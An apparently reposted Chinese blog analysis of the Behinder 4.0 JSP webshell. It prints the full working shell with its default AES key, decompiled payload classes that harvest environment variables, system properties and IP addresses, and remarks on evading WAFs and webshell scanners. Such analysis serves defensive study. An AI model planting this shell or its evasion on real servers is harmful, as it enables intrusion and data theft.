冰蝎4.0jsp木马浅析

发布时间:2024年01月21日

前言

这里简单学习一下冰蝎是怎么运行的,如何通过加密解密来绕过一些常见的waf设备

工作流程

  1. 冰蝎准备一个经过加密的字节码,放入请求体中

  2. 服务端通过jsp中的密钥解密,然后调用equals方法,来获取此次执行的结果

  3. 将获取到的结果通过设置的密钥加密,返回给客户端

  4. 客户端通过密钥解密

由此可以知道密钥在流程中非常的重要,冰蝎的默认的密码为rebeyond,其加密之后得到的前16位密钥为e45e329feb5d925b

通过以下代码可以获取

import?org.springframework.util.DigestUtils;
import?java.security.NoSuchAlgorithmException;

public?class?GenerateKey?{

????public?static?void?main(String[]?args)?throws?NoSuchAlgorithmException?{
????????String?key?=?"rebeyond";
????????System.out.println(getMd5Key(key).substring(0,?16));
????}

????public?static?String?getMd5Key(String?key){
????????String?md5Key?=?DigestUtils.md5DigestAsHex(key.getBytes());
????????return?md5Key;

????}

}

这里使用的jsp木马如下

我这里做了一些便于学习的东西,将冰蝎发送过来的字节码保存成类文件,更直观一点

<%@?page?contentType="text/html;charset=UTF-8"?language="java"?%>
<%@?page?import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%@?page?import="java.io.FileOutputStream"?%>
<%!
????//自定义类加载器
????class?U?extends?ClassLoader{
????????U(ClassLoader?c){
????????????super(c);
????????}
????????public?Class?g(byte?[]b)
????????{
????????????//调用父类defineClass方法
????????????return?super.defineClass(b,0,b.length);
????????}
????}
%>
<%
????if?(request.getMethod().equals("POST")){
????????String?k="e45e329feb5d925b";
????????session.putValue("u",k);
????????Cipher?c=Cipher.getInstance("AES");
????????c.init(2,new?SecretKeySpec(k.getBytes(),"AES"));

//????????获取客户端数据
????????String?line?=?request.getReader().readLine();
//????????base64解码客户端数据
????????byte[]?b?=?new?sun.misc.BASE64Decoder().decodeBuffer(line);
//????????AES解密
????????byte[]?b1?=?c.doFinal(b);
//????????调用父类defineClass方法,将传入数据还原为Class对象
//这里的路径需要修改成你需要保存的路径
????????FileOutputStream?fo?=?new?FileOutputStream("D:\\Java_Study_Thingsobj2.class");
????????fo.write(b1);
????????U?u?=?new?U(this.getClass().getClassLoader());
????????Class?clazz?=?u.g(b1);
//????????实例化对象将输出写入pageContext
//????????客户端传入的字节码指向的类中重写了equals方法传入pageContext对象,通过pageContext对象
//????????可以间接操作response,将执行结果写入response返回给客户端
????????clazz.newInstance().equals(pageContext);
//????????new?U(this.getClass().getClassLoader()).g(c.doFinal(new?sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
????}
%>

这个jsp的木马也比较好理解,将密钥作为标识符设置到session中,然后判断是否为POST请求,如果是的话先获取客户端的请求体数据,然后先解码base64,然后解密获取class字节码数据,调用方法g来实例化对象,然后调用equals

代码分析

当点击shell列表中的shell时,会触发一系列的方法,这里涉及到javafx的东西,不在文章中简述

图片

从doConnect开始跟进

图片

Utils.getRandomString(randStringLength)是用来构造一段特殊的字符串,后续会有使用

进入echo,带入生成的字符串

图片

进入Utils.getData

图片

进入Params.getParamedClass

图片

getTransProtocoledClass

图片

在之前传入的Echo,在这里组合成net.rebeyond.behinder.payload.java.Echo,就是冰蝎在第一次运行的时候需要请求信息,那么每次发送的payload都需要编译的话速度会非常慢,所以作者使用操作字节码的方式来发送payload

  1. 首先获取Echo的CtClass对象

  2. 修改类名

  3. 移除Encrypt方法

  4. 创建Encrypt方法

返回Echo的字节码

然后进入到getParamedClass方法中

图片

在这里使用了做了以下的操作:

  1. 修改类名,随机命名

  2. 使用观察者模式来操作字节码,遇到其实就是无参构造方法的时候,进行操作,具体是啥这里先不解释

回到Utils,进入cryptor.encrypt

图片

this.getEncodeCls();

这个方法,创建了一个名为test的类,类中包含默认的加密方法,以便于下面的字节码操作

通过反射获取Encrypt方法,利用这个方法加密前面获取Echo类的字节码

回到ShellService类

图片

下面就是把加密的字节码发送到服务器去解析了

进入doRequestAndParse

图片

一直跟进

图片

前面就是在添加header头,然后发送数据包

图片

然后看服务器上

//
//?Source?code?recreated?from?a?.class?file?by?IntelliJ?IDEA
//?(powered?by?FernFlower?decompiler)
//

package?net.ozfvwj.qjxyz;

import?java.lang.reflect.Method;
import?java.util.Iterator;
import?java.util.LinkedHashMap;
import?java.util.Map;
import?java.util.Random;
import?javax.crypto.Cipher;
import?javax.crypto.spec.SecretKeySpec;

public?class?Vlfq?{
????public?static?String?content;
????public?static?String?payloadBody;
????private?Object?Request;
????private?Object?Response;
????private?Object?Session;

????public?Vlfq()?{
????????content?=?"";
????????content?=?content?+?"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";
????????super();
????}

????public?boolean?equals(Object?obj)?{
????????LinkedHashMap?result?=?new?LinkedHashMap();
????????boolean?var13?=?false;

????????Object?so;
????????Method?write;
????????label95:?{
????????????try?{
????????????????var13?=?true;
????????????????this.fillContext(obj);
????????????????result.put("status",?"success");
????????????????result.put("msg",?content);
????????????????var13?=?false;
????????????????break?label95;
????????????}?catch?(Exception?var19)?{
????????????????result.put("msg",?var19.getMessage());
????????????????result.put("status",?"success");
????????????????var13?=?false;
????????????}?finally?{
????????????????if?(var13)?{
????????????????????try?{
????????????????????????so?=?this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
????????????????????????write?=?so.getClass().getMethod("write",?byte[].class);
????????????????????????System.out.println("this.buildJson(result,?true)?"?+?this.buildJson(result,?true));
????????????????????????write.invoke(so,?this.Encrypt(this.buildJson(result,?false).getBytes("UTF-8")));
????????????????????????so.getClass().getMethod("flush").invoke(so);
????????????????????????so.getClass().getMethod("close").invoke(so);
????????????????????}?catch?(Exception?var16)?{
????????????????????????var16.printStackTrace();
????????????????????}
????????????????}

????????????}

????????????try?{
????????????????so?=?this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
????????????????write?=?so.getClass().getMethod("write",?byte[].class);
????????????????System.out.println("this.buildJson(result,?true)2?"?+?this.buildJson(result,?true));
????????????????write.invoke(so,?this.Encrypt(this.buildJson(result,?false).getBytes("UTF-8")));
????????????????so.getClass().getMethod("flush").invoke(so);
????????????????so.getClass().getMethod("close").invoke(so);
????????????}?catch?(Exception?var17)?{
????????????????var17.printStackTrace();
????????????}

????????????return?true;
????????}

????????try?{
????????????so?=?this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
????????????write?=?so.getClass().getMethod("write",?byte[].class);
????????????write.invoke(so,?this.Encrypt(this.buildJson(result,?true).getBytes("UTF-8")));
????????????so.getClass().getMethod("flush").invoke(so);
????????????so.getClass().getMethod("close").invoke(so);
????????}?catch?(Exception?var18)?{
????????????var18.printStackTrace();
????????}

????????return?true;
????}

????private?String?buildJson(Map?entity,?boolean?encode)?throws?Exception?{
????????StringBuilder?sb?=?new?StringBuilder();
????????String?version?=?System.getProperty("java.version");
????????sb.append("{");
????????Iterator?var5?=?entity.keySet().iterator();

????????while(var5.hasNext())?{
????????????String?key?=?(String)var5.next();
????????????sb.append("\""?+?key?+?"\":\"");
????????????String?value?=?(String)entity.get(key);
????????????if?(encode)?{
????????????????value?=?this.base64encode(value.getBytes());
????????????}

????????????sb.append(value);
????????????sb.append("\",");
????????}

????????if?(sb.toString().endsWith(","))?{
????????????sb.setLength(sb.length()?-?1);
????????}

????????sb.append("}");
????????return?sb.toString();
????}

????private?void?fillContext(Object?obj)?throws?Exception?{
????????if?(obj.getClass().getName().indexOf("PageContext")?>=?0)?{
????????????this.Request?=?obj.getClass().getMethod("getRequest").invoke(obj);
????????????this.Response?=?obj.getClass().getMethod("getResponse").invoke(obj);
????????????this.Session?=?obj.getClass().getMethod("getSession").invoke(obj);
????????}?else?{
????????????Map?objMap?=?(Map)obj;
????????????this.Session?=?objMap.get("session");
????????????this.Response?=?objMap.get("response");
????????????this.Request?=?objMap.get("request");
????????}

????????this.Response.getClass().getMethod("setCharacterEncoding",?String.class).invoke(this.Response,?"UTF-8");
????}

????private?String?base64encode(byte[]?data)?throws?Exception?{
????????String?result?=?"";
????????String?version?=?System.getProperty("java.version");

????????Class?Base64;
????????try?{
????????????this.getClass();
????????????Base64?=?Class.forName("java.util.Base64");
????????????Object?Encoder?=?Base64.getMethod("getEncoder",?(Class[])null).invoke(Base64,?(Object[])null);
????????????result?=?(String)Encoder.getClass().getMethod("encodeToString",?byte[].class).invoke(Encoder,?data);
????????}?catch?(Throwable?var7)?{
????????????this.getClass();
????????????Base64?=?Class.forName("sun.misc.BASE64Encoder");
????????????Object?Encoder?=?Base64.newInstance();
????????????result?=?(String)Encoder.getClass().getMethod("encode",?byte[].class).invoke(Encoder,?data);
????????????result?=?result.replace("\n",?"").replace("\r",?"");
????????}

????????return?result;
????}

????private?byte[]?getMagic()?throws?Exception?{
????????String?key?=?this.Session.getClass().getMethod("getAttribute",?String.class).invoke(this.Session,?"u").toString();
????????int?magicNum?=?Integer.parseInt(key.substring(0,?2),?16)?%?16;
????????Random?random?=?new?Random();
????????byte[]?buf?=?new?byte[magicNum];

????????for(int?i?=?0;?i?<?buf.length;?++i)?{
????????????buf[i]?=?(byte)random.nextInt(256);
????????}

????????return?buf;
????}

????private?byte[]?Encrypt(byte[]?var1)?throws?Exception?{
????????String?var2?=?"e45e329feb5d925b";
????????byte[]?var3?=?var2.getBytes("utf-8");
????????SecretKeySpec?var4?=?new?SecretKeySpec(var3,?"AES");
????????Cipher?var5?=?Cipher.getInstance("AES/ECB/PKCS5Padding");
????????var5.init(1,?var4);
????????byte[]?var6?=?var5.doFinal(var1);

????????Class?var7;
????????try?{
????????????var7?=?Class.forName("java.util.Base64");
????????????Object?var8?=?var7.getMethod("getEncoder",?(Class[])null).invoke(var7,?(Object[])null);
????????????var6?=?(byte[])var8.getClass().getMethod("encode",?byte[].class).invoke(var8,?var6);
????????}?catch?(Throwable?var12)?{
????????????var7?=?Class.forName("sun.misc.BASE64Encoder");
????????????Object?var10?=?var7.newInstance();
????????????String?var11?=?(String)var10.getClass().getMethod("encode",?byte[].class).invoke(var10,?var6);
????????????var11?=?var11.replace("\n",?"").replace("\r",?"");
????????????var6?=?var11.getBytes();
????????}

????????return?var6;
????}
}

在服务器端的jsp木马调用的equals方法,来具体看看这一步做了什么

  1. 调用fillContext方法,来初始化request和response以及一些后续需要用到的参数,这就是为啥会选择equals的方法了,传入的obj对象里面都包含需要用到的对象

  2. 获取response的write输出流,然后获取服务器的java版本,似乎没有用到这个版本信息,然后对result进行json处理

  3. 通过默认的e45e329feb5d925b作为aes的加密key来加密保存了信息的map

  4. 然后在对aes加密的内容做一个base64的编码

    图片

解码之后

图片

发现这和发送的二进制流类字节码的代码中的content参数一致

然后我们发现在二进制流类中的构造方法

图片

其实就对应了getParamedClass方法中对构造方法的操作

然后回到本地

图片

这里就在处理一些服务器返回的信息,将response的headers赋值到resheaders中,然后进行迭代

将body里面的加密内容和data做一个map赋值到result中,服务器返回的数据里面是没有data这个东西的,这里需要注意一下,然后将返回的状态码和status以及返回包头和header做map处理,最后将result赋值给var22,返回var22

然后回到requestAndParse

图片

取出data信息,就是返回包中的body信息,赋值到resultObj中,返回resultObj

回到shellService

图片

取出header,然后手动创建一个status和msg的json字符串,为了后面与接受的比较,后续就是在做一个解密的操作了

回到doConnect方法

进行判断,返回的msg字符串是否和本地生成的一样

图片

图片

回到MainWindowController,在这里继续生成随机长度的字符串

然后继续进入getBasicInfo

图片

进入parseCommonAction,在这里使用了BasicInfo这个类

图片

进入getData

图片

发现和上一步的类似,也是返回对应类的class字节码,对其加密,就不继续分析了,直接快进到doRequestAndParse发送请求

服务器接受到的类

//
//?Source?code?recreated?from?a?.class?file?by?IntelliJ?IDEA
//?(powered?by?FernFlower?decompiler)
//

package?sun.wspc;

import?java.io.File;
import?java.lang.reflect.Method;
import?java.net.Inet4Address;
import?java.net.InetAddress;
import?java.net.NetworkInterface;
import?java.util.Enumeration;
import?java.util.HashMap;
import?java.util.Iterator;
import?java.util.Map;
import?java.util.Properties;
import?java.util.Random;
import?java.util.Set;
import?javax.crypto.Cipher;
import?javax.crypto.spec.SecretKeySpec;

public?class?Vmwqtmzls?{
????public?static?String?whatever;
????private?Object?Request;
????private?Object?Response;
????private?Object?Session;

????public?Vmwqtmzls()?{
????????whatever?=?"";
????????whatever?=?whatever?+?"ZsnyxT8sz3FMo5E8XM4RfHFzLq39XYdmZX5WDW7zgQ5fLqUi95uMmfs4TabnTXnDZvbgCfb5dciOhQq13Dy5iGrDyVmY2SN2Yjo2MWzobJYAizHufR0sYn8eyYNSxpb13kL0oMw76OitnJysDHVIVuRuCtWhFa8MIhWGcU36piB9YIB5nqg2VXLmIYi6lUmK90MxtdL3ZShmXLyJjFNgMRyZ6SQ6kddwyYM5WK7RAbRzXkYsT017hB5nAXyACWWkHgIUexmoKlcjNBbj1qEIyj2MqNB2KCa";
????????super();
????}

????public?boolean?equals(Object?obj)?{
????????HashMap?result?=?new?HashMap();
????????boolean?var22?=?false;

????????Object?so;
????????Method?write;
????????label147:?{
????????????try?{
????????????????var22?=?true;
????????????????this.fillContext(obj);
????????????????StringBuilder?basicInfo?=?new?StringBuilder("<br/><font?size=2?color=red>环境变量:</font><br/>");
????????????????Map?env?=?System.getenv();
????????????????Iterator?var5?=?env.keySet().iterator();

????????????????while(var5.hasNext())?{
????????????????????String?name?=?(String)var5.next();
????????????????????basicInfo.append(name?+?"="?+?(String)env.get(name)?+?"<br/>");
????????????????}

????????????????basicInfo.append("<br/><font?size=2?color=red>JRE系统属性:</font><br/>");
????????????????Properties?props?=?System.getProperties();
????????????????Set?entrySet?=?props.entrySet();
????????????????Iterator?var7?=?entrySet.iterator();

????????????????while(var7.hasNext())?{
????????????????????Map.Entry?entry?=?(Map.Entry)var7.next();
????????????????????basicInfo.append(entry.getKey()?+?"?=?"?+?entry.getValue()?+?"<br/>");
????????????????}

????????????????String?currentPath?=?(new?File("")).getAbsolutePath();
????????????????String?driveList?=?"";
????????????????File[]?roots?=?File.listRoots();
????????????????File[]?var10?=?roots;
????????????????int?var11?=?roots.length;

????????????????for(int?var12?=?0;?var12?<?var11;?++var12)?{
????????????????????File?f?=?var10[var12];
????????????????????driveList?=?driveList?+?f.getPath()?+?";";
????????????????}

????????????????String?osInfo?=?System.getProperty("os.name")?+?System.getProperty("os.version")?+?System.getProperty("os.arch");
????????????????Map?entity?=?new?HashMap();
????????????????entity.put("basicInfo",?basicInfo.toString());
????????????????entity.put("currentPath",?currentPath);
????????????????entity.put("driveList",?driveList);
????????????????entity.put("osInfo",?osInfo);
????????????????entity.put("arch",?System.getProperty("os.arch"));
????????????????entity.put("localIp",?this.getInnerIp());
????????????????result.put("status",?"success");
????????????????result.put("msg",?this.buildJson(entity,?true));
????????????????var22?=?false;
????????????????break?label147;
????????????}?catch?(Exception?var32)?{
????????????????var22?=?false;
????????????}?finally?{
????????????????if?(var22)?{
????????????????????try?{
????????????????????????so?=?this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
????????????????????????write?=?so.getClass().getMethod("write",?byte[].class);
????????????????????????write.invoke(so,?this.Encrypt(this.buildJson(result,?true).getBytes("UTF-8")));
????????????????????????so.getClass().getMethod("flush").invoke(so);
????????????????????????so.getClass().getMethod("close").invoke(so);
????????????????????}?catch?(Exception?var30)?{
????????????????????}
????????????????}

????????????}

????????????try?{
????????????????so?=?this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
????????????????write?=?so.getClass().getMethod("write",?byte[].class);
????????????????write.invoke(so,?this.Encrypt(this.buildJson(result,?true).getBytes("UTF-8")));
????????????????so.getClass().getMethod("flush").invoke(so);
????????????????so.getClass().getMethod("close").invoke(so);
????????????}?catch?(Exception?var29)?{
????????????}

????????????return?true;
????????}

????????try?{
????????????so?=?this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
????????????write?=?so.getClass().getMethod("write",?byte[].class);
????????????write.invoke(so,?this.Encrypt(this.buildJson(result,?true).getBytes("UTF-8")));
????????????so.getClass().getMethod("flush").invoke(so);
????????????so.getClass().getMethod("close").invoke(so);
????????}?catch?(Exception?var31)?{
????????}

????????return?true;
????}

????private?String?getInnerIp()?{
????????String?ips?=?"";

????????try?{
????????????Enumeration?netInterfaces?=?NetworkInterface.getNetworkInterfaces();
????????????InetAddress?ip?=?null;

????????????while(netInterfaces.hasMoreElements())?{
????????????????NetworkInterface?netInterface?=?(NetworkInterface)netInterfaces.nextElement();
????????????????Enumeration?addresses?=?netInterface.getInetAddresses();

????????????????while(addresses.hasMoreElements())?{
????????????????????ip?=?(InetAddress)addresses.nextElement();
????????????????????if?(ip?!=?null?&&?ip?instanceof?Inet4Address)?{
????????????????????????ips?=?ips?+?ip.getHostAddress()?+?"?";
????????????????????}
????????????????}
????????????}
????????}?catch?(Exception?var6)?{
????????}

????????ips?=?ips.replace("127.0.0.1",?"").trim();
????????return?ips;
????}

????private?String?buildJson(Map?entity,?boolean?encode)?throws?Exception?{
????????StringBuilder?sb?=?new?StringBuilder();
????????String?version?=?System.getProperty("java.version");
????????sb.append("{");
????????Iterator?var5?=?entity.keySet().iterator();

????????while(var5.hasNext())?{
????????????String?key?=?(String)var5.next();
????????????sb.append("\""?+?key?+?"\":\"");
????????????String?value?=?((String)entity.get(key)).toString();
????????????if?(encode)?{
????????????????Class?Base64;
????????????????Object?Encoder;
????????????????if?(version.compareTo("1.9")?>=?0)?{
????????????????????this.getClass();
????????????????????Base64?=?Class.forName("java.util.Base64");
????????????????????Encoder?=?Base64.getMethod("getEncoder",?(Class[])null).invoke(Base64,?(Object[])null);
????????????????????value?=?(String)Encoder.getClass().getMethod("encodeToString",?byte[].class).invoke(Encoder,?value.getBytes("UTF-8"));
????????????????}?else?{
????????????????????this.getClass();
????????????????????Base64?=?Class.forName("sun.misc.BASE64Encoder");
????????????????????Encoder?=?Base64.newInstance();
????????????????????value?=?(String)Encoder.getClass().getMethod("encode",?byte[].class).invoke(Encoder,?value.getBytes("UTF-8"));
????????????????????value?=?value.replace("\n",?"").replace("\r",?"");
????????????????}
????????????}

????????????sb.append(value);
????????????sb.append("\",");
????????}

????????sb.setLength(sb.length()?-?1);
????????sb.append("}");
????????return?sb.toString();
????}

????private?String?base64encode(byte[]?data)?throws?Exception?{
????????String?result?=?"";
????????String?version?=?System.getProperty("java.version");

????????Class?Base64;
????????try?{
????????????this.getClass();
????????????Base64?=?Class.forName("java.util.Base64");
????????????Object?Encoder?=?Base64.getMethod("getEncoder",?(Class[])null).invoke(Base64,?(Object[])null);
????????????result?=?(String)Encoder.getClass().getMethod("encodeToString",?byte[].class).invoke(Encoder,?data);
????????}?catch?(Throwable?var7)?{
????????????this.getClass();
????????????Base64?=?Class.forName("sun.misc.BASE64Encoder");
????????????Object?Encoder?=?Base64.newInstance();
????????????result?=?(String)Encoder.getClass().getMethod("encode",?byte[].class).invoke(Encoder,?data);
????????????result?=?result.replace("\n",?"").replace("\r",?"");
????????}

????????return?result;
????}

????private?void?fillContext(Object?obj)?throws?Exception?{
????????if?(obj.getClass().getName().indexOf("PageContext")?>=?0)?{
????????????this.Request?=?obj.getClass().getMethod("getRequest").invoke(obj);
????????????this.Response?=?obj.getClass().getMethod("getResponse").invoke(obj);
????????????this.Session?=?obj.getClass().getMethod("getSession").invoke(obj);
????????}?else?{
????????????Map?objMap?=?(Map)obj;
????????????this.Session?=?objMap.get("session");
????????????this.Response?=?objMap.get("response");
????????????this.Request?=?objMap.get("request");
????????}

????????this.Response.getClass().getMethod("setCharacterEncoding",?String.class).invoke(this.Response,?"UTF-8");
????}

????private?byte[]?getMagic()?throws?Exception?{
????????String?key?=?this.Session.getClass().getMethod("getAttribute",?String.class).invoke(this.Session,?"u").toString();
????????int?magicNum?=?Integer.parseInt(key.substring(0,?2),?16)?%?16;
????????Random?random?=?new?Random();
????????byte[]?buf?=?new?byte[magicNum];

????????for(int?i?=?0;?i?<?buf.length;?++i)?{
????????????buf[i]?=?(byte)random.nextInt(256);
????????}

????????return?buf;
????}

????private?byte[]?Encrypt(byte[]?var1)?throws?Exception?{
????????String?var2?=?"e45e329feb5d925b";
????????byte[]?var3?=?var2.getBytes("utf-8");
????????SecretKeySpec?var4?=?new?SecretKeySpec(var3,?"AES");
????????Cipher?var5?=?Cipher.getInstance("AES/ECB/PKCS5Padding");
????????var5.init(1,?var4);
????????byte[]?var6?=?var5.doFinal(var1);

????????Class?var7;
????????try?{
????????????var7?=?Class.forName("java.util.Base64");
????????????Object?var8?=?var7.getMethod("getEncoder",?(Class[])null).invoke(var7,?(Object[])null);
????????????var6?=?(byte[])var8.getClass().getMethod("encode",?byte[].class).invoke(var8,?var6);
????????}?catch?(Throwable?var12)?{
????????????var7?=?Class.forName("sun.misc.BASE64Encoder");
????????????Object?var10?=?var7.newInstance();
????????????String?var11?=?(String)var10.getClass().getMethod("encode",?byte[].class).invoke(var10,?var6);
????????????var11?=?var11.replace("\n",?"").replace("\r",?"");
????????????var6?=?var11.getBytes();
????????}

????????return?var6;
????}
}

可以看见这里获取了环境变量以及jar系统信息

图片

图片

在这里也是同样的,处理返回的信息

这里不一样的地方就是在于返回的basicInfoObj对象,需要设置到gui窗口中

总结

在看完了冰蝎是怎么连接之后,对于冰蝎的工作原理也有了一定的理解,本地和服务器端都做加密和解密的操作,以此来绕过流量检测设备以及一些waf,而且通过动态的加载class字节码,也可以绕过一些普通的webshell查杀设备,后续的一些绕过,可以在加密方式以及特征值的修改上入手

参考链接

文章来源:https://blog.csdn.net/Dokii_i/article/details/135621218
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。